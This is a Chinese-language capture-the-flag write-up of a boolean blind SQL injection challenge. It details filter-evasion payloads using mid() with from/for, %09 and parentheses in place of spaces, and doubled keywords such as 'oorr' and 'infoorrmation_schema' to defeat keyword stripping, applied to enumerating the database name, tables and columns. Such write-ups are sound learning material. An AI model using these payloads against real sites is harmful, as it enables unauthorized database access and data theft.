题目来源
题目界面比较简单,只让你输入id,输对了告诉你 You are in,输错了就 You are not in
可以想到这是一个盲注,经简单测试,提交字母a进不去,1可以。也就是说通过注入如果进去了,说明注入的语句成功执行,反之没有执行,典型的bool盲注
bool盲注的一般思路
一般来说,bool盲注通常是通过一位一位爆破字符来实现的,常用的函数如下:
1 | Length()函数 返回字符串的长度 |
解题思路
首先fuzz一波,发现
1 | 可用payload: |
很多东西被过滤了,比如:
1 | 空格 and || 井号 逗号 substr |
(逗号都能过滤,wc)
而且经过测试发现不是说没被过滤(就是说界面没弹出SQL注入警告)你的语句就能正常执行了,下面我会说到,明明本地执行很成功,而且没有报警告,但就是没有效果、、、、
经过多次尝试,发现数据库长度这个可以搞:
1 | id=a'+or+(select+(length(database()))>10)='1 #提示是in 经过测试,数据库名长度为18 |
接下来不出意外就是常规的bool盲注思路了,首先我用的是regexp注入,主要考虑的是substr被过滤了,下面是payload:
1 | id=a'+or+(select+database()+regexp+'a[a-z0-9A-Z_]')='1 |
结果执行不了(本地是可以执行的)
回过头考虑 substr,因为逗号被过滤了,找了半天百度才发现可以用from替代,substr被过滤,mid可用,于是有以下payload
1 | id=a'+or+(select+ascii(mid(database()+from+1))>64)='1 |
但还是GG了,
上面无法执行,原因是空格被过滤了,换一种
1 | id=a+or+(select(ascii(mid(database()from(2)for(1)))=109))='1 |
看起来比较吊了吧,还是不行(•́へ•́╬)
换一换 ——>
1 | id=a'+or+(select(mid(database()from(1))>'0'))='1 #可用(加上for(1)就不行,无语了) |
这样也行
1 | id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1 |
个人觉得可能是空格问题,有的语句空格不能用加号替代,语句会有语法错误,但是又要区分出层次,于是就用 括号 绕过了
下面是爆破数据库名的脚本,跑完数据库名为—->ctf_sql_bool_blind:
1 | import requests |
又见套路
接下来爆破表名,又要面对一个问题,即limit 0,1 中的空格和逗号问题,逗号可以绕过,但是空格加括号就不管用了。下面是测试的payload
1 | id=a'+or+(select(ascii(mid((select table_name from information_schema.tables |
别的地方的空格可以用括号绕过去,但是limit那里是无论如何也不行,比如编码,tab制表符,%09,%0a都不行
只能换姿势了
1 | id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables) |
首先正则表达式匹配方式上从前往后匹配 ^ 这个符号被过滤了,所以考虑 $ 从后往前匹配。但是还是不行。
后来看了大佬的wp,没看太明白,但是有一点,题目不仅黑名单过滤了一些关键字,还对一些字符进行了替换。比如or和星号。(之前用/**/代替空格一直不行,原来原因在这)
那么这就要从审视一下之前用的payload了
最先用的 id=a’+or+’1 中or被替换后就变为了 id=a’++’1 ,那为什么也是in呢?经过本地测试,这句话确实是可以执行的。比如
1 | select * from user where username='a'++'admin' |
参数a是假的,但是admin是存在的话,就可以成功查询(具体语法还未深究)。所以上面的参数 id=a’++’1 中参数1 是确实可以查到的,因此显示you are in .
同时这也提醒我了加号貌似并能代替空格(不知道什么时候形成的误区),之前还奇怪为什么在本地执行时用加号替换空格不行呢,原因应该就是这了,二者不是可等价代换的。最多是某些特殊情况或位置或许有效。
接下来看我们爆破数据库名的payload是怎么成功执行的
1 | id=a'+or+(select+(length(database()))>10)='1 |
首先本地测试下面这个payload:
1 | select * from user where username='a'+or+(select+(length(database()))>10)='1' |
带or是错误的。去掉or成功执行。
爆破数据库名的payload也是这个原理,sql执行的实际都是没有or的语句,而碰巧的是两个加号可以正常执行:
1 | id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1 |
那么非要用or呢,首先是绕过空格,其次是or被替换,因此有以下payload:
1 | id=a'%09oorr%09(select(ascii(mid(database()from(1)))>ascii('W')))='1 |
成功执行,效果和+or+一样。
这样就可以解释前面一个悬案了,就是这个payload:
1 | id=a'+or+(select(ascii(mid(database()from(2)for(1)))=109))='1 |
这也是爆破数据库名字的,但是mid函数里加了for(1)就不行,去了for反而可以。这就可以解释了,for里的or被替换为空了,导致语句出错,自然就不行了。可以考虑这样绕过:
1 | id=a'+or+(select(ascii(mid(database()from(2)foorr(1)))=109))='1 |
知道错误原因就好办了,我们看之前一直执行不成功的payload:
1 | id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables) |
首先空格用%09替换,此外容易忽视的information_schema中有or,因此要变为infoorrmation_schema. 可以看下面改造后的:
1 | id=a'%09oorr%09(select(ascii(mid((select(table_name)from(infoorrmation_schema.tables) |
提示You are in。
wccccccccccccccccccc,内牛满面o(╥﹏╥)o。
每次改变from(1)里面的值
但是在用脚本时,可能是由于payload里的百分号解析问题,提交后服务器一直提示sql注入。所以换了工具,用burp的爆破模式,把position设为ascii(‘a’)中的a,字典在本地txt里编一个,a-z的字母和一些数字符号等。还有要注意的是burp抓包时最好是抓hackbar提交的包,那样post的内容就不会被编码了
最后爆出表名:fiag
再暴字段:
1 | id=a'%09oorr%09(select(ascii(mid((select(column_name)from(infoorrmation_schema.columns) |